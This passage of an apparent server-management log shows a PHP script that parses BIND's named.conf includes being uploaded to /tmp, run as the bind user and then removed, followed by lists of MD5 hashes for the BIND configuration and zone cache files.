function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:11:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp775573; rm /tmp/pkp775573'

2026-04-22 12:11:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:13:25: Establishing a connection
2026-04-22 12:13:25: 

PUT: /tmp/pkp422787

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:13:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp422787; rm /tmp/pkp422787'

2026-04-22 12:13:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
